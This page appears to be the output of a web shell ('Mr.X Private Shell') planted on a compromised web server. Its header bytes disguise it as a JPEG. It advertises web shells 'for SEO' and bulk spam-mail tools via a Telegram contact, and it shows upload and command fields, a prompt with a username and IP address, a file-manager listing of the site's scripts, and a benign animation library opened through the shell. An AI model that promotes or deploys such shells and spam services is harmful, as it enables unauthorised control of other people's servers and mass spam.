����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

chassiw@216.73.217.25: ~ $
/**
 * animOnScroll.js v1.0.0
 * http://www.codrops.com
 *
 * Licensed under the MIT license.
 * http://www.opensource.org/licenses/mit-license.php
 * 
 * Copyright 2013, Codrops
 * http://www.codrops.com
 */
;( function( window ) {
  
  'use strict';
  
  var docElem = window.document.documentElement;

  function getViewportH() {
    var client = docElem['clientHeight'],
      inner = window['innerHeight'];
    
    if( client < inner )
      return inner;
    else
      return client;
  }

  function scrollY() {
    return window.pageYOffset || docElem.scrollTop;
  }

  // http://stackoverflow.com/a/5598797/989439
  function getOffset( el ) {
    var offsetTop = 0, offsetLeft = 0;
    do {
      if ( !isNaN( el.offsetTop ) ) {
        offsetTop += el.offsetTop;
      }
      if ( !isNaN( el.offsetLeft ) ) {
        offsetLeft += el.offsetLeft;
      }
    } while( el = el.offsetParent )

    return {
      top : offsetTop,
      left : offsetLeft
    }
  }

  function inViewport( el, h ) {
    var elH = el.offsetHeight,
      scrolled = scrollY(),
      viewed = scrolled + getViewportH(),
      elTop = getOffset(el).top,
      elBottom = elTop + elH,
      // if 0, the element is considered in the viewport as soon as it enters.
      // if 1, the element is considered in the viewport only when it's fully inside
      // value in percentage (1 >= h >= 0)
      h = h || 0;

    return (elTop + elH * h) <= viewed && (elBottom - elH * h) >= scrolled;
  }

  function extend( a, b ) {
    for( var key in b ) { 
      if( b.hasOwnProperty( key ) ) {
        a[key] = b[key];
      }
    }
    return a;
  }

  function AnimOnScroll( el, options ) {  
    this.el = el;
    this.options = extend( this.defaults, options );
    this._init();
  }

  AnimOnScroll.prototype = {
    defaults : {
      // Minimum and a maximum duration of the animation (random value is chosen)
      minDuration : 0,
      maxDuration : 0,
      // The viewportFactor defines how much of the appearing item has to be visible in order to trigger the animation
      // if we'd use a value of 0, this would mean that it would add the animation class as soon as the item is in the viewport. 
      // If we were to use the value of 1, the animation would only be triggered when we see all of the item in the viewport (100% of it)
      viewportFactor : 0
    },
    _init : function() {
      this.items = Array.prototype.slice.call( document.querySelectorAll( '#' + this.el.id + ' > li' ) );
      this.itemsCount = this.items.length;
      this.itemsRenderedCount = 0;
      this.didScroll = false;

      var self = this;

      imagesLoaded( this.el, function() {
        
        // initialize masonry
        new Isotope( self.el, {
          itemSelector: 'li',
          transitionDuration : 0
        } );
        
        if( Modernizr.cssanimations ) {
          // the items already shown...
          self.items.forEach( function( el, i ) {
            if( inViewport( el ) ) {
              self._checkTotalRendered();
              classie.add( el, 'shown' );
            }
          } );

          // animate on scroll the items inside the viewport
          window.addEventListener( 'scroll', function() {
            self._onScrollFn();
          }, false );
          window.addEventListener( 'resize', function() {
            self._resizeHandler();
          }, false );
        }

      });
    },
    _onScrollFn : function() {
      var self = this;
      if( !this.didScroll ) {
        this.didScroll = true;
        setTimeout( function() { self._scrollPage(); }, 60 );
      }
    },
    _scrollPage : function() {
      var self = this;
      this.items.forEach( function( el, i ) {
        if( !classie.has( el, 'shown' ) && !classie.has( el, 'animate' ) && inViewport( el, self.options.viewportFactor ) ) {
          setTimeout( function() {
            var perspY = scrollY() + getViewportH() / 2;
            self.el.style.WebkitPerspectiveOrigin = '50% ' + perspY + 'px';
            self.el.style.MozPerspectiveOrigin = '50% ' + perspY + 'px';
            self.el.style.perspectiveOrigin = '50% ' + perspY + 'px';

            self._checkTotalRendered();

            if( self.options.minDuration && self.options.maxDuration ) {
              var randDuration = ( Math.random() * ( self.options.maxDuration - self.options.minDuration ) + self.options.minDuration ) + 's';
              el.style.WebkitAnimationDuration = randDuration;
              el.style.MozAnimationDuration = randDuration;
              el.style.animationDuration = randDuration;
            }
            
            classie.add( el, 'animate' );
          }, 25 );
        }
      });
      this.didScroll = false;
    },
    _resizeHandler : function() {
      var self = this;
      function delayed() {
        self._scrollPage();
        self.resizeTimeout = null;
      }
      if ( this.resizeTimeout ) {
        clearTimeout( this.resizeTimeout );
      }
      this.resizeTimeout = setTimeout( delayed, 1000 );
    },
    _checkTotalRendered : function() {
      ++this.itemsRenderedCount;
      if( this.itemsRenderedCount === this.itemsCount ) {
        window.removeEventListener( 'scroll', this._onScrollFn );
      }
    }
  }

  // add to global namespace
  window.AnimOnScroll = AnimOnScroll;

  } )( window );

Filemanager

Name Type Size Permission Actions
animeonscroll.js File 5.38 KB 0644
bootstrap.js File 36.18 KB 0644
classie.js File 1.87 KB 0644
color-customizer.js File 19.7 KB 0644
easing.js File 5.48 KB 0644
fitvids.js File 3.35 KB 0644
footer-fixed.js File 435 B 0644
header1.js File 1.07 KB 0644
headroom.js File 6.13 KB 0644
infinitescroll.js File 21.21 KB 0644
isotope.js File 34.5 KB 0644
lightgallery.js File 17.97 KB 0644
main.js File 7.04 KB 0644
modernizr.js File 14.9 KB 0644
owlcarousel.js File 41.77 KB 0644
respond.js File 4.49 KB 0644
retina.min.js File 2.53 KB 0644
smartmenus.js File 26.76 KB 0644
smoothscroll.js File 5.29 KB 0644
stickykit.js File 3.21 KB 0644
thumbsplugin.js File 6.91 KB 0644
wow.js File 6.99 KB 0644